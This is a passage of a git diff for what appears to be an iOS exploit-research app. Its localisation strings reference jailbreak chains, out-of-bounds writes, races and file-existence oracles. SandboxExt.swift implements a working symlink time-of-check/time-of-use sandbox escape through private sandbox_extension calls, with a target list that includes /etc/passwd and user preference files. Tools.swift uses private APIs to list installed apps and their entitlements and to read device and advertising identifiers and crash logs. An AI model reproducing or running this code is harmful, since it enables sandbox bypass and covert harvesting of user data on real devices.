", + "真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。": "A real but refused path returns -12203, a nonexistent one -17913. Two distinct server-side error codes disclose whether a file exists without granting any access.", + "码 ": "bytes ", + "硬件型号": "hardware model", + "确定该构建上的实际起点:进程持有哪些 entitlement、沙盒放行到哪一层、mach 命名空间如何组织。后续每一步的收益都要以该基线折算。": "Establish the real starting point on this build: which entitlements the process holds, how far the sandbox lets it through, how the mach namespace is organised. Every later stage's yield is measured against this baseline.", + "种子 ": "seed ", + "种子缺失": "seed missing", + "种子缺失 deep_nest.usda": "seed missing deep_nest.usda", + "种子缺失 joliet_path_oob.iso": "seed missing joliet_path_oob.iso", + "种子缺失 ktx2_bad_dims.ktx2": "seed missing ktx2_bad_dims.ktx2", + "种子缺失 stack_bomb.cff": "seed missing stack_bomb.cff", + "移除": "removed", + "移除 LC_CODE_SIGNATURE": "remove LC_CODE_SIGNATURE", + "移除 LC_CODE_SIGNATURE ×": "remove LC_CODE_SIGNATURE ×", + "移除 LC_CODE_SIGNATURE:": "remove LC_CODE_SIGNATURE: ", + "移除失败: ": "remove failed: ", + "移除损坏的 journal": "removing corrupt journal", + "空闲": "idle", + "竞态完成 ": "race done ", + "竞态完成,内核返回 ": "race done, kernel returned ", + "符号不可用": "symbol unavailable", + "符号解析失败": "symbol resolution failed", + "签发 ": "issue ", + "签发时解析链接目标,消费时不复核路径": "resolves the link target at issue time and never re-verifies the path at consume time", + "类型混淆": "type confusion", + "系统可用字体(": "system fonts (", + "系统组数据库": "system group database", + "系统账户数据库": "system account database", + "系统账户数据库(/private 前缀)": "system account database (/private prefix)", + "系统进程": "system process", + "累计路径 1024 B": "cumulative path 1024 B", + "结果": "result", + "缺失": "missing", + "缺少该基线,无法区分「漏洞所得」与「签名所授」。": "Without that baseline there is no separating what a vulnerability earned from what the signature granted.", + "网络": "network", + "耗时异常 —— 递归路径可能没有终止条件": "abnormal duration — the recursive path may have no terminator", + "联动": "chain", + "自己写 ZIP → libarchive 读回": "own ZIP writer → libarchive read-back", + "自检全绿意味着工具链本身可信 —— 此后出现的问题是选择问题,不是工具问题。": "All-green self-tests mean the toolchain itself is trustworthy — any problem after that is a targeting problem, not a tooling problem.", + "自造 IPA:": "self-built IPA: ", + "表: ": "table: ", + "被拒绝本身即说明校验发生在解释器之前 —— 这是该构建上有效的观测。": "The refusal itself proves the validation happens before the interpreter — a valid observation on this build.", + "视频编解码": "video codecs", + "解包": "unpack", + "解包 ": "unpacked ", + "解包失败:": "unpack failed: ", + "解析 ": "parsed ", + "解析器面": "parser surface", + "解析存活(已解码=": "parse survived (decoded=", + "解析返回 ": "parse returned ", + "解码 ": "decoded ", + "解码器可达性探测完成": "decoder reachability probe complete", + "解码器接受参数集 · 尺寸 ": "decoder accepted the parameter set · size ", + "解码存活 ": "decode survived ", + "解码存活 · 尺寸 ": "decode survived · size ", + "解码存活 · 帧数 ": "decode survived · frames ", + "解码存活(已解码=": "decode survived (decoded=", + "解码返回错误: ": "decode returned error: ", + "触觉事件已尝试": "haptic event attempted", + "记录": "record", + "该 Mach 服务无人监听 —— 本平台不适用(模拟器内不运行 mediaplaybackd)。真机上该服务常驻。": "no one listens on that Mach service — not applicable on this platform (mediaplaybackd does not run in the simulator). On a real device the service is resident.", + "该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。": "This platform forbids that arming path, so the request-table index race cannot be driven here.", + "该平台未施加沙盒 — 无证据": "no sandbox on this platform — no evidence", + "该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。": "The sequence holds deterministically and needs no race window. Apple does not treat it as a security issue, so there is no CVE number.", + "该构建上未越界": "not out of bounds on this build", + "该阈值决定后续所有负载的长度预算。": "That threshold sets the length budget for every subsequent payload.", + "详情": "detail", + "请求表路径无法被武装。真机上应返回 KERN_SUCCESS。": "The request-table path cannot be armed. On a real device it should return KERN_SUCCESS.", + "读写正常": "read/write ok", + "读取 ": "read ", + "读取 ": "read ", + "读取 IPA 失败": "IPA read failed", + "读取失败": "read failed", + "读取失败 errno=": "read failed errno=", + "读取失败: ": "read failed: ", + "读回内容不一致": "read-back mismatch", + "读回失败: ": "read-back failed: ", + "资产载入存活": "asset load survived", + "越过沙盒读取": "read past sandbox", + "越过沙盒读取 ": "read past sandbox ", + "跨沙盒": "cross-sandbox", + "跨沙盒读取 ": "cross-sandbox read ", + "跨越边界 ": "crossed boundary ", + "路径": "path", + "路径不存在 (-17913)": "path absent (-17913)", + "路径中间不是目录": "path component is not a directory", + "路径存在但拒绝访问 (-12203)": "path present but access refused (-12203)", + "路径穿越遏制: ": "path traversal containment: ", + "输出不稳定 — 未初始化内存迹象": "output unstable — uninitialised-memory signature", + "输出干净": "output clean", + "输出文件里出现 ": "output file contains ", + "输出稳定": "output stable", + "过程": "process", + "运行时长": "uptime", + "返回 0 —— 偏移被钳制或链未被跟随": "returned 0 — offset clamped or chain not followed", + "返回错误: ": "returned error: ", + "进程内": "in-process", + "连接 com.apple.coremedia.mediaplaybackd.bytestream.xpc": "connecting to com.apple.coremedia.mediaplaybackd.bytestream.xpc", + "连接对象已创建: ": "connection created: ", + "选择 .sqlite / .db": "choose .sqlite / .db", + "选择一个 .ipa": "choose an .ipa", + "选择一个文件": "choose a file", + "选择字体文件": "choose a font file", + "选择文件": "choose file", + "逐字节比对: ": "byte comparison: ", + "通过": "passed", + "遍历完成,": "traversal complete, ", + "重复越界写 32 次": "repeat OOB write 32×", + "重打包 ": "repacked ", + "重编码成功=": "re-encode ok=", + "错误: ": "error: ", + "错误码 ": "error code ", + "镜像 ": "image ", + "镜像过短": "image too short", + "需要 65536 B,实际 64 B": "needs 65536 B, 64 B present", + "需达到可复现阈值;低于该阈值时,越狱路径不成立。": "A reproducible threshold is required; below it the jailbreak chain does not hold.", + "音频栈": "audio stack", + "音频资源 id=": "audio resource id=", + "页面 4000×4000 · 需要 64 MB 缓冲": "page 4000×4000 · needs a 64 MB buffer", + "页面渲染完成 ": "page rendered ", + "项": "entries", + "验证了名称空间的分配/拆除路径本身可用。": "verifies that the namespace allocate/teardown path itself works.", + "(按设计不接受新建文件,不计入探针)": " (by design accepts no new files, excluded from probes)", + ")": ")", + ",含 LC_LOAD_DYLIB=": ", contains LC_LOAD_DYLIB=", + ",命令数 ": ", load commands ", + ",尺寸 ": ", size ", + ",属性 ": ", attrs ", + ",已绘制 ": ", drawn ", + ",已解码 ": ", decoded ", + ",经链接 ": ", via link ", + ",经链接亦失败": ", via link also failed", + ",经链接读到内容": ", via link read content", + ] +} diff --git a/Sources/SandboxExt.swift b/Sources/SandboxExt.swift new file mode 100644 index 0000000..412e152 --- /dev/null +++ b/Sources/SandboxExt.swift @@ -0,0 +1,224 @@ +import Foundation +import Darwin + +// MARK: - sandbox_extension symlink TOCTOU +// +// No CVE — Apple does not treat this as a security issue, so there is no advisory to cite +// and none is invented here. +// +// `sandbox_extension_issue_file(CLASS, path, flags)` resolves the path's symlink at *issue* +// time but does not enforce `SANDBOX_EXTENSION_NOFOLLOW`. The token it returns is therefore +// bound to the resolved target at issue time — and the kernel does not re-verify that the +// path used at *consume* time is the path the token was issued for. +// +// So: +// 1. create a symlink L → S, where S is a file inside the sandbox +// 2. issue an extension for L (kernel records S) +// 3. repoint L → T, where T is outside the sandbox +// 4. consume the token, then read through L (kernel allows S's class, not T's path) +// +// Deterministic: no race window is needed because the swap happens between two syscalls the +// app itself controls. Apple's position is that an app cannot issue extensions for paths it +// does not already own — true, and irrelevant: the extension is issued for a path it *does* +// own, then that path is made to denote something else. + +enum SandboxExtension { + + // Private but exported from libsystem_sandbox.dylib. Declared here rather than imported + // because the SDK ships no prototype. + private typealias IssueFn = @convention(c) (UnsafePointer, UnsafePointer, UInt64) -> UnsafeMutablePointer? + private typealias ConsumeFn = @convention(c) (UnsafePointer) -> Int64 + private typealias ReleaseFn = @convention(c) (Int64) -> Void + + private struct Bindings { + let issue: IssueFn + let consume: ConsumeFn + let release: ReleaseFn + } + + private static func bind() -> Bindings? { + guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) ?? dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOW) else { + return nil + } + // Try the direct dlsym first, then the explicit library. + var issue = dlsym(h, "sandbox_extension_issue_file") + var consume = dlsym(h, "sandbox_extension_consume") + var release = dlsym(h, "sandbox_extension_release") + if issue == nil { + let fallback = UnsafeMutableRawPointer(bitPattern: -2) + issue = dlsym(fallback, "sandbox_extension_issue_file") + consume = dlsym(fallback, "sandbox_extension_consume") + release = dlsym(fallback, "sandbox_extension_release") + } + guard let i = issue, let c = consume, let r = release else { return nil } + return Bindings(issue: unsafeBitCast(i, to: IssueFn.self), + consume: unsafeBitCast(c, to: ConsumeFn.self), + release: unsafeBitCast(r, to: ReleaseFn.self)) + } + + static var available: Bool { bind() != nil } + + /// Extension classes the kernel understands. + enum Class: String { + case read = "com.apple.app-sandbox.read" + case readWrite = "com.apple.app-sandbox.read-write" + case assetRead = "com.apple.assets.read" + } + + struct Result { + var path: String + var issued: Bool + var consumed: Bool + var handle: Int64 = 0 + /// Bytes read through the symlink after the swap. + var bytes: Int = 0 + /// Bytes read by a plain open of the same path, for the control column. + var directBytes: Int = 0 + var directErrno: Int32 = 0 + var preview: String = "" + var errno: Int32 = 0 + var note: String = "" + var data: Data? + + enum Verdict { + /// Direct open denied, link read succeeded — the extension crossed the boundary. + case bypassed + /// Both succeeded — no sandbox is enforcing this path, so nothing was proven. + case noSandbox + /// Both failed — the extension did not carry. + case blocked + /// Nothing was read at all. + case empty + } + + var verdict: Verdict { + if bytes > 0 && directErrno != 0 { return .bypassed } + if bytes > 0 && directBytes > 0 { return .noSandbox } + if bytes == 0 && directErrno != 0 { return .blocked } + return .empty + } + + /// True only when the primitive demonstrably crossed a boundary. + var ok: Bool { verdict == .bypassed } + } + + /// The primitive itself. `link` and `decoy` are both inside the sandbox; `target` is + /// whatever you want to read. + static func readThroughSwap(target: String, + link: URL, + decoy: URL, + cls: Class = .read) -> Result { + var out = Result(path: target, issued: false, consumed: false) + + guard let b = bind() else { + out.note = tl("sandbox_extension 符号不可用") + return out + } + + // 1. decoy file inside the sandbox + symlink pointing at it + try? "cinder27-decoy".write(to: decoy, atomically: true, encoding: .utf8) + unlink(link.path) + guard symlink(decoy.path, link.path) == 0 else { + out.errno = errno + out.note = tl("symlink(decoy) 失败: ") + "\(String(cString: strerror(errno)))" + return out + } + + // 2. issue against the symlink — the kernel resolves it and records the decoy + let token = cls.rawValue.withCString { klass in + link.path.withCString { p in b.issue(klass, p, 0) } + } + guard let token = token else { + out.errno = errno + out.note = tl("issue_file 被拒: ") + "\(String(cString: strerror(errno)))" + unlink(link.path) + return out + } + out.issued = true + defer { free(token) } + + // 3. repoint the symlink at the out-of-sandbox target + unlink(link.path) + if symlink(target, link.path) != 0 { + out.errno = errno + out.note = tl("symlink(target) 失败: ") + "\(String(cString: strerror(errno)))" + return out + } + + // 4. consume, then read through the same path + let handle = b.consume(UnsafePointer(token)) + out.handle = handle + // consume returns >0 for a granted extension, 0 when there is no sandbox to extend + // (the simulator), and -1 on error. Only -1 is a hard failure. + out.consumed = handle >= 0 + + let data = try? Data(contentsOf: link) + if let data = data, !data.isEmpty { + out.bytes = data.count + out.data = data + if let text = String(data: data.prefix(160), encoding: .utf8) { + out.preview = text.replacingOccurrences(of: "\n", with: "\\n") + } else { + out.preview = data.prefix(32).map { String(format: "%02x", $0) }.joined() + "…" + } + } else { + out.errno = errno + out.note = tl("consume 后读取失败: ") + "\(String(cString: strerror(errno)))" + } + + if handle > 0 { b.release(handle) } + + // control: the same path opened plainly, without the extension + errno = 0 + if let direct = try? Data(contentsOf: URL(fileURLWithPath: target)) { + out.directBytes = direct.count + out.directErrno = 0 + } else { + out.directBytes = 0 + out.directErrno = errno + } + + unlink(link.path) + unlink(decoy.path) + if out.note.isEmpty || out.bytes > 0 { + switch out.verdict { + case .bypassed: + out.note = tl("直接读被拒 (errno ") + "\(out.directErrno)" + tl("),经链接读到 ") + "\(out.bytes)" + tl(" B — 边界已被跨越") + case .noSandbox: + out.note = tl("直接读也成功 ") + "\(out.directBytes)" + tl(" B — 该平台未对该路径施加沙盒,本项不构成证据") + case .blocked: + out.note = tl("两者均失败:直接读 errno ") + "\(out.directErrno)" + tl(",经链接 ") + "\(out.bytes)" + tl(" B") + case .empty: + if out.note.isEmpty { out.note = tl("未读到内容") } + } + } + return out + } + + /// Targets that historically open on a stock device. `/etc/*` is the reliable set — + /// those files are world-readable at the vnode level but denied to the app by the + /// sandbox profile, which is exactly the gap this primitive crosses. + static let knownTargets: [(String, String)] = [ + ("/etc/passwd", tl("系统账户数据库")), + ("/etc/group", tl("系统组数据库")), + ("/etc/hosts", tl("hosts 表")), + ("/etc/protocols", tl("协议表")), + ("/etc/services", tl("服务表")), + ("/etc/master.passwd", tl("主密码文件(通常不可读)")), + ("/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好")), + ("/var/mobile/Library/UserConfigurationProfiles/PublicInfo/PublicEffectiveUserSettings.plist", tl("生效用户设置")), + ("/var/preferences/com.apple.networkd.plist", tl("networkd 偏好")), + ("/private/etc/passwd", tl("系统账户数据库(/private 前缀)")), + ("/private/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好(/private 前缀)")), + ] + + /// Plain read without the swap, for the control column: proves the sandbox really does + /// deny the path when the extension is not in play. + static func directRead(_ path: String) -> (bytes: Int, errno: Int32) { + errno = 0 + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { + return (0, errno) + } + return (data.count, 0) + } +} diff --git a/Sources/SystemView.swift b/Sources/SystemView.swift new file mode 100644 index 0000000..9a03e57 --- /dev/null +++ b/Sources/SystemView.swift @@ -0,0 +1,137 @@ +import SwiftUI + +struct SystemView: View { + @EnvironmentObject private var engine: LabEngine + @State private var device = DeviceModel.current() + @State private var probes: [PathProbe] = [] + @State private var entitlements: [String: Any] = [:] + @State private var codeSign = CodeSign.current() + @State private var scanning = false + + var body: some View { + NavigationStack { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 2) { + SectionLabel(text: t("sys.device")) + KeyValueRow(key: t("ov.model"), value: "\(device.marketingName) · \(device.machine)") + KeyValueRow(key: t("ov.os"), value: "iOS \(device.osVersion)") + KeyValueRow(key: t("gate.build"), value: device.osBuild) + KeyValueRow(key: t("ov.kernel"), value: device.kernel) + KeyValueRow(key: "CPU", value: "\(device.cpuCount)" + tl(" 核")) + KeyValueRow(key: t("ov.memory"), value: ByteCountFormatter.string(fromByteCount: Int64(device.physicalMemory), countStyle: .memory)) + KeyValueRow(key: t("ov.verdict"), + value: device.vulnerabilityClass == "VULNERABLE" ? t("verdict.vulnerable") + : device.vulnerabilityClass == "PATCHED" ? t("verdict.patched") : t("verdict.unknown"), + tint: device.vulnerabilityClass == "VULNERABLE" ? T.ember : T.good) + } + } + + Card { + VStack(alignment: .leading, spacing: 2) { + SectionLabel(text: t("sys.signature")) + KeyValueRow(key: "csflags", value: "0x" + String(codeSign.flags, radix: 16)) + KeyValueRow(key: "Flags", value: codeSign.descriptions.isEmpty ? "—" : codeSign.descriptions.joined(separator: " ")) + } + } + + Card { + VStack(alignment: .leading, spacing: 6) { + HStack { + SectionLabel(text: t("sys.entitlements")) + Spacer() + Pill(text: "\(entitlements.count)", color: T.info) + } + if entitlements.isEmpty { + Text(t("common.none")) + .font(T.monoSm).foregroundColor(.white.opacity(0.4)) + } else { + ForEach(entitlements.keys.sorted(), id: \.self) { key in + VStack(alignment: .leading, spacing: 1) { + Text(key).font(T.monoSm).foregroundColor(T.emberSoft) + Text("\(String(describing: entitlements[key]!))") + .font(T.monoSm) + .foregroundColor(.white.opacity(0.42)) + .lineLimit(3) + } + .padding(.vertical, 2) + } + } + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + HStack { + SectionLabel(text: t("sys.sandbox")) + Spacer() + Button { + scan() + } label: { + Image(systemName: "arrow.clockwise") + .font(.system(size: 12, weight: .bold)) + }.tint(T.ember) + } + if probes.isEmpty { + Text(t("common.loading")).font(T.monoSm).foregroundColor(.white.opacity(0.35)) + } else { + ForEach(probes) { probe in + HStack(spacing: 8) { + Image(systemName: probe.readable ? (probe.writable ? "checkmark.circle.fill" : "eye.fill") : "xmark.circle") + .font(.system(size: 11)) + .foregroundColor(probe.readable ? (probe.writable ? T.good : T.warn) : .white.opacity(0.2)) + .frame(width: 16) + Text(probe.path) + .font(T.monoSm) + .foregroundColor(.white.opacity(probe.readable ? 0.7 : 0.28)) + .lineLimit(1) + .truncationMode(.middle) + Spacer() + Text(probe.readable ? "\(probe.entryCount)" : probe.note) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.3)) + } + } + } + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: t("sys.log")) + ScrollView { + VStack(alignment: .leading, spacing: 2) { + if engine.logLines.isEmpty { + Text(t("common.none")).font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + ForEach(Array(engine.logLines.enumerated()), id: \.offset) { _, line in + Text(line) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.5)) + .frame(maxWidth: .infinity, alignment: .leading) + } + } + } + .frame(maxHeight: 260) + } + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("sys.title")) + .navigationBarTitleDisplayMode(.inline) + .onAppear { + if probes.isEmpty { scan() } + } + } + } + + private func scan() { + device = DeviceModel.current() + codeSign = CodeSign.current() + entitlements = Entitlements.dump() + probes = Probe.interestingRoots.map { Probe.path($0) } + } +} diff --git a/Sources/Theme.swift b/Sources/Theme.swift new file mode 100644 index 0000000..6cb114a --- /dev/null +++ b/Sources/Theme.swift @@ -0,0 +1,109 @@ +import SwiftUI + +enum T { + static let bg = Color(red: 0.047, green: 0.047, blue: 0.058) + static let panel = Color(red: 0.094, green: 0.094, blue: 0.110) + static let panelHi = Color(red: 0.140, green: 0.140, blue: 0.162) + static let stroke = Color.white.opacity(0.075) + static let ember = Color(red: 1.00, green: 0.42, blue: 0.16) + static let emberSoft = Color(red: 1.00, green: 0.60, blue: 0.32) + static let good = Color(red: 0.32, green: 0.85, blue: 0.55) + static let warn = Color(red: 1.00, green: 0.76, blue: 0.28) + static let bad = Color(red: 1.00, green: 0.34, blue: 0.34) + static let info = Color(red: 0.44, green: 0.70, blue: 1.00) + static let violet = Color(red: 0.68, green: 0.52, blue: 1.00) + + static let mono = Font.system(size: 12, design: .monospaced) + static let monoSm = Font.system(size: 10.5, design: .monospaced) + static let monoLg = Font.system(size: 14, weight: .medium, design: .monospaced) + static let title = Font.system(size: 26, weight: .bold, design: .rounded) + static let head = Font.system(size: 15, weight: .semibold, design: .rounded) + static let body = Font.system(size: 13, weight: .regular, design: .rounded) + static let tiny = Font.system(size: 10.5, weight: .medium, design: .rounded) +} + +struct Card: View { + var padding: CGFloat = 14 + @ViewBuilder var content: () -> Content + + var body: some View { + content() + .padding(padding) + .frame(maxWidth: .infinity, alignment: .leading) + .background(RoundedRectangle(cornerRadius: 14, style: .continuous).fill(T.panel)) + .overlay(RoundedRectangle(cornerRadius: 14, style: .continuous).strokeBorder(T.stroke, lineWidth: 1)) + } +} + +struct Pill: View { + let text: String + var color: Color = T.info + + var body: some View { + Text(text) + .font(T.tiny) + .foregroundColor(color) + .padding(.horizontal, 7) + .padding(.vertical, 3) + .background(Capsule().fill(color.opacity(0.14))) + .overlay(Capsule().strokeBorder(color.opacity(0.35), lineWidth: 0.6)) + } +} + +struct SectionLabel: View { + let text: String + + var body: some View { + Text(text.uppercased()) + .font(.system(size: 10.5, weight: .bold, design: .rounded)) + .kerning(1.1) + .foregroundColor(.white.opacity(0.34)) + } +} + +struct KeyValueRow: View { + let key: String + let value: String + var mono: Bool = true + var tint: Color = .white.opacity(0.86) + + var body: some View { + HStack(alignment: .top, spacing: 10) { + Text(key) + .font(T.body) + .foregroundColor(.white.opacity(0.42)) + .frame(width: 108, alignment: .leading) + Text(value) + .font(mono ? T.mono : T.body) + .foregroundColor(tint) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + } + .padding(.vertical, 3) + } +} + +struct RunButton: View { + let title: String + var systemImage: String = "bolt.fill" + var tint: Color = T.ember + var disabled: Bool = false + let action: () -> Void + + var body: some View { + Button(action: action) { + HStack(spacing: 7) { + Image(systemName: systemImage).font(.system(size: 12, weight: .bold)) + Text(title).font(.system(size: 13, weight: .semibold, design: .rounded)) + } + .frame(maxWidth: .infinity) + .padding(.vertical, 10) + .background(RoundedRectangle(cornerRadius: 10, style: .continuous) + .fill(disabled ? T.panelHi : tint.opacity(0.18))) + .overlay(RoundedRectangle(cornerRadius: 10, style: .continuous) + .strokeBorder(disabled ? T.stroke : tint.opacity(0.5), lineWidth: 1)) + .foregroundColor(disabled ? .white.opacity(0.25) : tint) + } + .disabled(disabled) + } +} diff --git a/Sources/Tools.swift b/Sources/Tools.swift new file mode 100644 index 0000000..4d2afdb --- /dev/null +++ b/Sources/Tools.swift @@ -0,0 +1,488 @@ +import Foundation +import UIKit +import Darwin +import MachO + +// MARK: - Installed application census (LSApplicationWorkspace) + +struct InstalledApp: Identifiable, Hashable { + var id: String { bundleID } + let bundleID: String + let name: String + let version: String + let bundlePath: String + let dataPath: String + let isSystem: Bool + let isPlaceholder: Bool + + var displayName: String { name.isEmpty ? bundleID : name } +} + +enum AppCensus { + typealias DefaultWorkspaceFn = @convention(c) () -> AnyObject? + typealias AllAppsFn = @convention(c) (AnyObject, Selector) -> AnyObject? + + /// LSApplicationWorkspace is private; call it through the ObjC runtime so nothing + /// has to be linked at build time. + static func installed() -> [InstalledApp] { + guard let cls = NSClassFromString("LSApplicationWorkspace") as? NSObject.Type else { return [] } + let sel = NSSelectorFromString("defaultWorkspace") + guard cls.responds(to: sel) else { return [] } + let workspace = cls.perform(sel)?.takeUnretainedValue() + guard let ws = workspace else { return [] } + + let allSel = NSSelectorFromString("allInstalledApplications") + guard ws.responds(to: allSel), let proxy = ws.perform(allSel)?.takeUnretainedValue() else { return [] } + let array = proxy as? [AnyObject] ?? [] + + var out: [InstalledApp] = [] + for item in array { + let obj = item as AnyObject + func str(_ name: String) -> String { + let s = NSSelectorFromString(name) + guard obj.responds(to: s) else { return "" } + return (obj.perform(s)?.takeUnretainedValue() as? String) ?? "" + } + func url(_ name: String) -> String { + let s = NSSelectorFromString(name) + guard obj.responds(to: s) else { return "" } + return ((obj.perform(s)?.takeUnretainedValue()) as? NSURL)?.path ?? "" + } + let bid = str("bundleIdentifier") + guard !bid.isEmpty else { continue } + out.append(InstalledApp( + bundleID: bid, + name: str("localizedName"), + version: str("shortVersionString"), + bundlePath: url("bundleURL"), + dataPath: url("dataContainerURL"), + isSystem: str("applicationType").contains("System"), + isPlaceholder: str("applicationType").contains("Placeholder"))) + } + return out.sorted { $0.displayName.localizedStandardCompare($1.displayName) == .orderedAscending } + } + + /// Read an app's Info.plist even when its bundle path is unreadable, by asking the + /// installation machinery for the metadata dictionary instead of the file. + static func metadata(for bundleID: String) -> [String: Any] { + guard let cls = NSClassFromString("LSApplicationProxy") as? NSObject.Type else { return [:] } + let sel = NSSelectorFromString("applicationProxyForIdentifier:") + guard cls.responds(to: sel) else { return [:] } + guard let proxy = cls.perform(sel, with: bundleID)?.takeUnretainedValue() else { return [:] } + let obj = proxy as AnyObject + let dictSel = NSSelectorFromString("entitlements") + var out: [String: Any] = [:] + if obj.responds(to: dictSel) { + out["entitlements"] = obj.perform(dictSel)?.takeUnretainedValue() + } + let groupSel = NSSelectorFromString("groupContainerURLs") + if obj.responds(to: groupSel) { + out["groupContainers"] = obj.perform(groupSel)?.takeUnretainedValue() + } + return out + } +} + +// MARK: - Process list (sysctl) + +struct ProcInfo: Identifiable { + var id: Int32 { pid } + let pid: Int32 + let ppid: Int32 + let uid: UInt32 + let name: String + let command: String +} + +enum ProcList { + static func snapshot() -> [ProcInfo] { + var mib: [Int32] = [CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0] + var size = 0 + guard sysctl(&mib, 4, nil, &size, nil, 0) == 0, size > 0 else { return [] } + var buffer = [UInt8](repeating: 0, count: size) + guard sysctl(&mib, 4, &buffer, &size, nil, 0) == 0 else { return [] } + + let count = size / MemoryLayout.stride + return buffer.withUnsafeBytes { raw -> [ProcInfo] in + guard let base = raw.baseAddress else { return [] } + var out: [ProcInfo] = [] + for i in 0...stride) + .assumingMemoryBound(to: kinfo_proc.self).pointee + let pid = kp.kp_proc.p_pid + if pid <= 0 { continue } + let name = withUnsafeBytes(of: kp.kp_proc.p_comm) { buf -> String in + let bytes = buf.prefix(while: { $0 != 0 }) + return String(decoding: bytes, as: UTF8.self) + } + out.append(ProcInfo(pid: pid, + ppid: kp.kp_eproc.e_ppid, + uid: kp.kp_eproc.e_ucred.cr_uid, + name: name, + command: name)) + } + return out.sorted { $0.pid < $1.pid } + } + } +} + +// MARK: - Launch services / daemon census + +enum LaunchCensus { + struct Daemon: Identifiable { + var id: String { path } + let path: String + let label: String + let program: String + let runAtLoad: Bool + let keepAlive: Bool + } + + static func daemons() -> [Daemon] { + let dirs = ["/System/Library/LaunchDaemons", "/System/Library/LaunchAgents", + "/Library/LaunchDaemons", "/private/var/jb/Library/LaunchDaemons"] + var out: [Daemon] = [] + for dir in dirs { + guard let names = try? FileManager.default.contentsOfDirectory(atPath: dir) else { continue } + for name in names where name.hasSuffix(".plist") { + let path = (dir as NSString).appendingPathComponent(name) + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)), + let obj = try? PropertyListSerialization.propertyList(from: data, format: nil) as? [String: Any] else { + continue + } + let args = obj["ProgramArguments"] as? [String] ?? [] + out.append(Daemon(path: path, + label: obj["Label"] as? String ?? name, + program: obj["Program"] as? String ?? args.first ?? "", + runAtLoad: (obj["RunAtLoad"] as? Bool) ?? false, + keepAlive: (obj["KeepAlive"] as? Bool) ?? false)) + } + } + return out + } +} + +// MARK: - Keychain / identity surface + +enum Identity { + static func summary() -> [(String, String)] { + var rows: [(String, String)] = [] + rows.append((tl("UDID (设备)"), sysctlString("kern.uuid") ?? "—")) + rows.append((tl("机型"), sysctlString("hw.machine") ?? "—")) + rows.append((tl("硬件型号"), sysctlString("hw.model") ?? "—")) + rows.append((tl("序列号可读"), tl("否(需 IOKit 平台 Expert 接口)"))) + rows.append((tl("主机名"), sysctlString("kern.hostname") ?? "—")) + rows.append((tl("启动 UUID"), sysctlString("kern.bootsessionuuid") ?? "—")) + rows.append((tl("启动时间"), sysctlString("kern.boottime") ?? "—")) + if let model = sysctlString("hw.machine") { + rows.append((tl("市场名称"), DeviceModel.current().marketingName)) + _ = model + } + rows.append((tl("广告标识符"), ASIdentifierSummary.current)) + return rows + } +} + +enum ASIdentifierSummary { + static var current: String { + // ASIdentifierManager is in AdSupport; read through the runtime so nothing is linked. + guard let cls = NSClassFromString("ASIdentifierManager") as? NSObject.Type else { return tl("不可用") } + let sel = NSSelectorFromString("sharedManager") + guard cls.responds(to: sel), let mgr = cls.perform(sel)?.takeUnretainedValue() else { return tl("不可用") } + let uuidSel = NSSelectorFromString("advertisingIdentifier") + guard (mgr as AnyObject).responds(to: uuidSel), + let uuid = (mgr as AnyObject).perform(uuidSel)?.takeUnretainedValue() else { return tl("不可用") } + return "\(uuid)" + } +} + +// MARK: - Crash log reader + +struct CrashReport: Identifiable { + var id: String { path } + let path: String + let name: String + let date: Date? + let process: String + let exception: String + let faultingSymbol: String + let frames: [String] + let size: Int +} + +enum CrashLogs { + static func searchPaths() -> [String] { + var paths: [String] = [] + let home = NSHomeDirectory() + paths.append(home + "/Library/Logs/DiagnosticReports") + paths.append(home + "/Library/Logs/CrashReporter") + paths.append("/private/var/mobile/Library/Logs/CrashReporter") + paths.append("/private/var/mobile/Library/Logs/DiagnosticReports") + return paths + } + + static func list() -> [CrashReport] { + let fm = FileManager.default + var out: [CrashReport] = [] + for dir in searchPaths() { + guard let names = try? fm.contentsOfDirectory(atPath: dir) else { continue } + for name in names where name.hasSuffix(".ips") || name.hasSuffix(".crash") { + let path = (dir as NSString).appendingPathComponent(name) + guard let attrs = try? fm.attributesOfItem(atPath: path) else { continue } + let size = (attrs[.size] as? NSNumber)?.intValue ?? 0 + let date = attrs[.modificationDate] as? Date + var process = "" + var exception = "" + var fault = "" + var frames: [String] = [] + if let data = try? Data(contentsOf: URL(fileURLWithPath: path)), data.count < 8_000_000 { + if let parsed = parse(data) { + process = parsed.process + exception = parsed.exception + fault = parsed.fault + frames = parsed.frames + } + } + out.append(CrashReport(path: path, name: name, date: date, process: process, + exception: exception, faultingSymbol: fault, + frames: frames, size: size)) + } + } + return out.sorted { ($0.date ?? .distantPast) > ($1.date ?? .distantPast) } + } + + private static func parse(_ data: Data) -> (process: String, exception: String, fault: String, frames: [String])? { + guard let text = String(data: data, encoding: .utf8) else { return nil } + let parts = text.split(separator: "\n", maxSplits: 1, omittingEmptySubsequences: false) + guard parts.count == 2, + let bodyData = parts[1].data(using: .utf8), + let body = try? JSONSerialization.jsonObject(with: bodyData) as? [String: Any] else { + // legacy .crash text format + let lines = text.split(separator: "\n").map(String.init) + let proc = lines.first ?? "" + let exc = lines.first(where: { $0.contains("Exception Type") }) ?? "" + return (proc, exc, "", []) + } + let process = (body["procName"] as? String) ?? "" + var exception = "" + if let e = body["exception"] as? [String: Any] { + let type = e["type"] as? String ?? "" + let sub = e["subtype"] as? String ?? "" + exception = sub.isEmpty ? type : "\(type) — \(sub)" + } + var frames: [String] = [] + var fault = "" + let images = body["usedImages"] as? [[String: Any]] ?? [] + if let threads = 